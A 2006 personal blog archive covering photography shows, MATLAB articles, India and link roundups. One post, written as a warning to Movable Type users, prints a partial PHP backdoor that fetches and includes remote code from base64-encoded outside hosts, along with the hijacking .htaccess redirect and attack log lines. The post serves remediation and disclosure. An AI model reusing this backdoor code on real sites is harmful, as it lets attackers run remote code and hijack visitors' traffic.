Monthly Archives: January 2006

New MATLAB-related article

Curious how I spend my days at work? Well, my new article Two New Functions for Converting Datatypes and Changing Byte Order pretty much sums it all up. Create small applications in MATLAB and C to access file formats. Write tools to make working with those files easier. Write the occasional article about tool-building for others toolmakers.

Oh! And meetings. Can’t forget those. . . .

My other recently published article, Color Management and Color Transformations in MATLAB, shows the work that isn’t related to formats that I do at the office. Currently I’m somewhere between that stage where I think I know what I’m talking about and actually knowing it.

Posted in Color and Vision, Computing, MATLAB | Leave a comment

‘Tis the Season

I just finished printing a set of images for the twelfth annual juried exhibition at the Griffin Museum. One or two other adventurous souls from the club are also submitting work. It would be a real coup to get into this show or the PRC‘s member show. Meanwhile, as long as I submit the work and follow the instructions, I can quite easily get into the alumni show at the Faulconer Gallery of Art. I’m still thinking about what work of mine could fit into the Panopticon Elements juried show.

The Griffin holds a special place in my heart. The first exhibit I saw there — the annual juried show three or four years ago — didn’t exactly open my eyes to the possibilities of the medium but did show me enough of the photographic milieu to give me a bit of an existential crisis, which pushed my work into new directions and helped resolve some of my “where do I want to go with photography?” issues.

Posted in Always the bridesmaid, Photography | Leave a comment

Source for photography information and exhibits in the Boston area

From the PRC Boston’s survey on where we find information on photography and where we go to see or make it:

Afterimage
Artist Foundation Listserv
Art New England
Arts Media
Big Red & Shiny
boston.com
Boston Common
boston.citysearch.com
Boston Globe
Boston Herald
Boston Magazine
Boston Metro
Boston Phoenix
Boston University listings
Concierge
Gallery Guide
Improper Bostonian
Museums Boston
Panorama
Photograph
Providence Journal
Stuff@Night
WBUR
The Weekly Dig

AIPAD
American Photo
American Society of Media Photographers
Arlington Center for Arts
Art Institute of Boston
Association of International Photography Art Dealers
Bernard Toale Gallery
Blindspot
Boston Camera Club
Boston Center for Adult Education
Boston Photo Collaborative
Brookline Center for Community Education
Cambridge Center for Adult Education
College Art Association
Decordova Museum and Sculpture Park
Editorial Photographers' Association
Gallery Katz
Gallery Kayafas
Griffin Museum of Photography
History of Photography Group
Howard Yezerski Gallery
Institute of Contemporary Art
Judy Ann Goldman Fine Art
Maine Photographic Workshops
Massachusetts College of Art
Miller Block Gallery
Museum of Fine Arts
National Press Photographers Association
New England Camera Club Council
New England School of Photography
The New Mexico Photography Field School
Newton Center for Adult Education
Panopticon Gallery
Pepper Gallery
Photo District News
Photographic Historical Society of New England
Photographic Society of America
Popular Photography
Robert Klein Gallery
The Santa Fe Workshops
School of the Museum of Fine Arts
Society of Photographic Education
Tepper Takayama Gallery
Posted in Photography | Leave a comment

Random things noted

So much to share . . .

Outsourcing: Finally an elected Democrat steps up to the plate on offshoring in the form of Max Baucus (D-MT) — from Top Outsourcing Info.

U.S. Senator Max Baucus, the top Democrat on the powerful Senate Finance Committee, said Friday he supports outsourcing white-collar jobs to low-wage countries such as India — a position at odds with his party’s traditional stance on the issue.

“Everybody is concerned about job losses and so am I,” he told The Associated Press in an interview in Bangalore, his first stop on an five-day tour of India with U.S. business leaders.

“But the world is flat and we must work harder to better retrain our people,” rather than resist outsourcing, he said. “Offshoring is a fact of globalization. Opportunities for U.S. companies come from everywhere — including India.”

Golden Globe fashion: Disasters and successes (1) and (2).

Historians at War: Cliopatria’s Chris Bray gives us his “Shadows and Fog” series from near the frontlines in Kuwait.

History of the future: A syllabus.

Nukes: Coworker Ned gave us a post about nuclear test photos that spawned a string of comments with a life all its own.

Truth and the Internet: First Monday presents two articles on truth in historical and contemporary and contemporary contexts.

Web of lies? Historical knowledge on the Internet by Daniel J. Cohen and Roy Rosenzweig

Scholars in history (as well as other fields in the humanities) have generally taken a dim view of the state of knowledge on the Web, pointing to the many inaccuracies on Web pages written by amateurs. A new software agent called H-Bot scans the Web for historical facts, and shows how the Web may indeed include many such inaccuracies—while at the same time being extremely accurate when assessed as a whole through statistical means that are alien to the discipline of history. These mathematical methods and other algorithms drawn from the computational sciences also suggest new techniques for historical research and new approaches to teaching history in an age in which an increasingly significant portion of the past has been digitized.

The filtering matrix: Integrated mechanisms of information control and the demarcation of borders in cyberspace by Nart Villeneuve

Increasingly, states are adopting practices aimed at regulating and controlling the Internet as it passes through their borders. Seeking to assert information sovereignty over their cyber–territory, governments are implementing Internet content filtering technology at the national level. The implementation of national filtering is most often conducted in secrecy and lacks openness, transparency, and accountability. Policy–makers are seemingly unaware of significant unintended consequences, such as the blocking of content that was never intended to be blocked. Once a national filtering system is in place, governments may be tempted to use it as a tool of political censorship or as a technological “quick fix” to problems that stem from larger social and political issues. As non–transparent filtering practices meld into forms of censorship the effect on democratic practices and the open character of the Internet are discernible. States are increasingly using Internet filtering to control the environment of political speech in fundamental opposition to civil liberties, freedom of speech, and free expression. The consequences of political filtering directly impact democratic practices and can be considered a violation of human rights.

Carnivals: History Carnival #23 and the Manolo, he brings us the second Carnival of the Couture.

Posted in General | Leave a comment

Mini failure analysis of site attack

In the spirit of kaizen (continuous improvement) and eliminating muda (waste), here is a mini failure analysis of the attack on my web site.

The effective cause of the failure was a SQL injection attack on my site, most likely caused by a worm/virus that I encountered on a public computer while using the Movable Type publishing interface. This attack led to (1) compromised HTML pages containing malicious Javascript code that led Internet Explorer to download the worm on unprotected computers, (2) compromised Movable Type template pages, and (3) malicious PHP and .htaccess pages, which redirected malformed URLs transparently to external sites of dubious legality.

A number of root causes contributed to the failure: using insecure public computers, allowing directories with world-writable (umask 777) permissions for Movable Type, not running Movable Type in a safer wrapped CGI mode, and not running PHP in “safe” mode that prevents certain kinds of file writing. I could have discovered the problem earlier by examining the server logs — I’m fortunate enough to have access to them — and by digging deeper into unexpected “file not found” behavior when I misspelled URLs (I assumed it was Mozilla automatically searching for sites on a 404 error).

The cost of the failure is hard to quantify in terms of lost opportunities, but since Google starts to treat sites with large numbers of these redirects as fradulent, there certainly must be some damage to my site’s findability. Of the roughly 580 pages Google has indexed for my domain, roughly 300-350 are not actually part of my site. This damages my credibility, both for readers who stumble across redirected pages while attempting to reach my site and for those who see spam when they search Google for me.

In terms of bandwidth and site utilization, for the first thirteen days of January there were just over 14,000 requests to my webserver, after stripping out certain 404 responses. Of these, roughly 6,900 were legitimate requests for pages, images, stylesheets, RSS feeds, etc. The remaining 7,100 were all attempts to access the bogus pages, most of which succeeded and accounted for 5.9 megabytes of bandwidth. Google and other web crawlers while cataloging these bogus sites comprised more than 10% of this traffic.

It’s unclear when this nefarious traffic will abate. In the 12 hours since I put the countermeasures in place, 250 invalid requests came through; fortunately these were all blocked, but it’s the same pace as before.

Posted in Computing | Leave a comment

A word of caution to Movable Type bloggers

I just finished cleaning up some nefarious content from my web server, and I’m putting this post out there as a warning and an antiseptic for anyone who runs into a similar problem.

Parts of my site got hijacked, apparently by the same SQL injection attack that a machine in Delhi introduced. One prong of the attack — which I discovered rather quickly — attempted to push a virus to all Microsoft IE users. I was able to fix that right away by having Movable Type rebuild the entire site.

The other (and hopefully last) part of the attack added a number of PHP executables and .htaccess files to the directory containing my Movable Type blog entries. Whenever someone asked for a bogus page on my server, their request would be automatically routed somewhere else (via an HTTP “302″ response code). As innocent as this sounds, it kills Google search ratings by making my site look like a spammer, and it masks illegal activity. The majority of these requests are for software “cracks” and key generators to bypass license management. Here are some typical lines from my log file:

202.83.33.92 - - [01/Jan/2006:04:14:06 -0800] "GET /dispatches/archives/2005/12/keygen.license.ultramp3.htm HTTP/1.1" 302 5 [snip]
81.246.171.67 - - [01/Jan/2006:04:19:06 -0800] "GET /dispatches/archives/2005/12/black.predators.spider.widow.htm HTTP/1.1" 302 5 "-" [snip]
81.246.171.67 - - [01/Jan/2006:04:22:24 -0800] "GET /dispatches/archives/2005/12/warcraft.3.no.cd.crack.1.20b.patch.htm HTTP/1.1" 302 5 "-" [snip]
66.249.66.175 - - [01/Jan/2006:04:27:16 -0800] "GET /dispatches/archives/2005/12/keys.kapersky.htm HTTP/1.1" 200 7538 "-" [snip]

The files that the virus/worm/whatever (I’m still not sure about the vector) added include

  • include.php
  • includes.php
  • messages.php
  • configs.php
  • guest.php
  • create.php
  • date.php
  • time.php

and the same number of “.htaccess” files in the same directories. The .php files were identical and had the same timestamp of when my site was infected (19 June 2005). I’m not going to post the full code of the beasties, just enough to help people searching for solutions to this problem:

<?php error_reporting(0);
ini_set(allow_url_fopen,1);
$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$g=(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_USER_AGENT);
$h=(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : $REMOTE_ADDR);
$str=base64_encode($a).'.'.base64_encode($b).
if ((include(base64_decode('aHR0cDovLw==').
  base64_decode('dXNlcjkubXNodG1sLnJ1')."/?".$str))){} else {include(base64_decode('aHR0cDovLw==').
  base64_decode('dXNlcjcuaHRtbHRhZ3MucnU=')."/?".$str);} ?>

The .htaccess pages look like this:

Options -MultiViews
ErrorDocument 404 //dispatches/archives/2005/report.php

Fixing the problem was easy:

  1. Delete any .htaccess files that I didn’t create myself (i.e., that look like what’s shown above).
  2. Delete the .php files that don’t belong.
  3. Look around for other files modified on the same date. I found two orphaned HTML files that looked like they had malicious Javascript in them.

That’s it!

I’m still looking for countermeasures to prevent the problem in the future. Programming, managing and securing websites isn’t my day job, so it may be very simple. These resources look promising:

Posted in Computing | 2 Comments

Word of the day

Today’s word of the day is medicolegal. Yesterday’s word: emo.

Posted in General | Leave a comment

Contemporary photography prep #1

I really admire those people who are willing to put their research (and by extension, their reputations) out there as they are working on it. I don’t get the chance to do much academic research these days, but I am preparing a presentation on contemporary photography for my little camera club. I’ll keep track of my progress here, and I welcome your comments and suggestions.

There are a number of really good books on contemporary art photography — in which I also include some fashion work — in particular, Charlotte Cotton’s The Photograph as Contemporary Art and David Campany’s Art and Photography. The former has a nice rubric for classifying works by style and theme:

  • Orchestrated images, often as part of performance art.
  • Tableau photographs “whose meaning is reliant on our investing the image with our own trains of narrative and psychological thought.”
  • Deadpan, which aims to transcend subjectivity.
  • Images that “maintain the ‘thing-ness’ of what they describe, such as street litter, abandoned rooms or dirty laundry, but are conceptually altered because of the visual impact they gain by the act of being photographed and presented as art.”
  • Photographs conveying emotional and personal relationships.
  • Documentary and “aftermath photography,” especially as allegory.
  • Imagery that “centres on and exploits our pre-existing knowledge of imagery.”

For my presentation, I’m combining these themes under the umbrella of “gallery art” — though I’m looking for a better name. This is where I plan to spend my most of my time in the presentation, since I think it’s the most artistic and (frankly) the most interesting. These works are typically self-conscious, edgy, experimental, risqué, concerned with ideas, part of related series of images, and in touch with and reacting to art history and current events.

The contemporary art world and its satellites have at least two other classes. Recently there have been a lot of photographic retrospectives. A great many collections are moving to museums as the original collectors age, and many of the artists they collected recently have reached major milestones (Ansel Adams’s 100th birthday) or died, piquing public interest. But perhaps more important is the acceptance by museum curators and patrons over the last 30-or-so years that photography is art. These retrospectives are the art historical undercurrent that a large number of contemporary photographers use for inspiration or react to.

Though not as introspective as “gallery art” or as widely regarded as art per se by much of the museum set, an enormous amount of nature/landscape/travel photography is made these days, which I feel obligated to mention in passing. I don’t plan on spending much time on this, because most of it (in my opinion) is only art in a very qualified way. It’s rather timeless and is typically visceral rather than intellectual — an art of longing and appropriation. Nevertheless, many contemporary nature photographers have artistic aspirations and employ formal art techniques and terminology when constructing and discussing their work. It can be quite beautiful and compelling; it’s the genre of most of my presentation’s audience; and who’s to say definitively that it’s not art? I can’t really beat up on the commercialism and success of Thomas Mangelsen, Galen Rowell, Franz Lanting, John Fielder, and others if I’m going to include fashion luminaries like Guy Bourdin and contributors to W magazine.

Update: Even though they don’t appear in the rubric above, I also plan on addressing ethnicity and gender as undercurrents in contemporary art. I’ll have other posts later discussing my progress on scanning and otherwise acquiring these images, but so far I’ve managed to get a rather large percentage of images from artists who aren’t American, especially work from Japanese photographers.

Posted in OPP, Photography | Leave a comment

Bad Blood

Lisa has been reading the new series in The New York Times on diabetes: Bad Blood. She has always taken an active interest in my chronic disease, but seeing the potential for (tragic) complications spelled out seems to be making her a little nervous for me. What a sweet girl.

As for myself, I’ve been reading their eleven-part series Class Matters. That reminds me; I should eventually get around to reading Race Matters.

Posted in Diabetes, This is who we are | Leave a comment

Best history blogs of 2005

Cliopatria has chosen what they feel are the best history blogs in 2005.

Posted in General | Leave a comment

Adobe Lightroom

You can just bet your ass I’m going to get my hands on the new beta of Adobe Lightroom (press release, announcement, and review). It’s the first publicly released product from the new Adobe Labs (reviewed). The development story behind Lightroom is pretty interesting, too.

Update: Too bad it’s only Mac for now. I must wait. . . .

Update: Lynn isn’t so impressed.

Posted in Fodder for Techno-weenies, Photography | 2 Comments

West Newton Cinema exhibit

Yesterday evening Lisa and I attended the opening of the Newton Camera Club‘s “juried” exhibit at the West Newton Cinema. Go check it out if you can.

Update: Marshall posted some images of the show being hung. Two of my prints are in the foreground of one of his images.

Here are three of my four prints in the show:


Posted in Always the bridesmaid, Photography | 1 Comment

Country Boys

Make some room on your busy social calendars (and on your sofa) tonight for David Sutherland’s new film Country Boys. Sutherland previously made The Farmer’s Wife, which is probably the most compelling documentary I’ve ever seen.

It’s been eight years since he presented us a view of contemporary rural America, and I’m fascinated to see what he shows us this time. I can’t think about this summer’s baseball tour through the Midwest without hearing the somewhat mournful soundtrack from his previous work. Of course, my view of the middle of America is still rather inchoate, despite having lived there for the better part of two decades. But more on that later.

Posted in This is who we are | Leave a comment

Orientalism

“Just tell them you’re doing research for a book. That’s what we say in academia when we find ourselves getting more fixated on a topic than we probably ought.”

Leslie’s suggestion seemed just credible enough to work. But I’m not going to be writing any books on India. Maybe one day my memoirs will have a chapter on my fascination with India. Thanks for the advice, but self-indulgent, unrequested honesty is my style du jour.

The casual reader of this site may wonder why there is so much India in it. The South Asian reader may even groan (as Deepti wants to when I mangle my Hindi lesson, though she is too polite to actually do it) at what I choose to write about. And academy sorts might accuse me of Orientalism, which we all know is a rather bad thing.

I’m not trying to construct India for Indians, which was Said’s primary post-colonial criticism. To be honest, I didn’t know very much about India before traveling there, and now I feel like I know even less, precisely because many notions were dismantled when Lisa and I visited.

I have this habit of immersing myself in the subjects that fixate me. It’s what I do. It’s my defining trait. (That’s probably why I took the somewhat misguided plunge into Catholicism — even going all the way through R.C.I.A. — when I was really just interested in Medieval history.)

And I do find India fascinating. While we were there, India seemed so different from and remarkably the same as the U.S. all at once. I found it interesting to watch a hegemon at work that wasn’t my own country, and to see how a rising nation views America. For many, India almost defines a particular form of globalization that I personally find rather nuanced, confusing, and controversial. As with many countries, in India the promise of free markets and international development yields the uncomfortable contradiction of dire poverty and a bright future for hundreds of millions. It’s a nation with a governing coaltion that includes communists and economic liberals. And as Holland Cotter observed in his review of two 2005 South Asian art exhibitions, fundamentalism ocassionally threatens to rend India apart, while throughout its history nationalism bound it together at the expense of isolation.

Many Indians have a heartfelt, honest belief in that most un-Western and un-Iowan idea: polytheism.

I was amazed in Rajasthan to be no more than 30 miles from Pakistan and to have the railway and all of the roads just end at the border. I was even more amazed to see that until recently Amritsar was the only official crossing point between the two fraternal, nuclear neighbors. When Michael Wood set out on his mythic journey to Shangri-La, he was forced to detour through Nepal (by air) to cross the land border to Tibet, despite being able to look out upon the roadway he might have driven. That it is easier to fly across a land border than to go overland is a complete inversion of human history. Unfortunately, the perpetual threat of conflict is not.

And as someone who moved some distance from home for education and later stayed away for economic reasons, I’m sure my fascination is also related to diaspora. This dislocation is isolating and liberating and guilty.

And so नमस्ते and good night, dear readers. More about India and everything else later.

Posted in General, India, Travel | Leave a comment

Fun in Siberia

The power went out in Milford ’round midnight, setting off loud sirens from security alarms thoughout the neighborhood and vaporizing a goodly portion of my forthcoming “Orientalism” post.

I was also fixing to mention in passing the new Amur Link highway, the recently-dedicated-but-yet-to-be-finished Russian link between St. Petersburg and Vladivostok that someday will beckon me. Read about it in the Times, of course.

But let’s let Lynn tell us about her Siberian adventure.

Posted in Travel | Leave a comment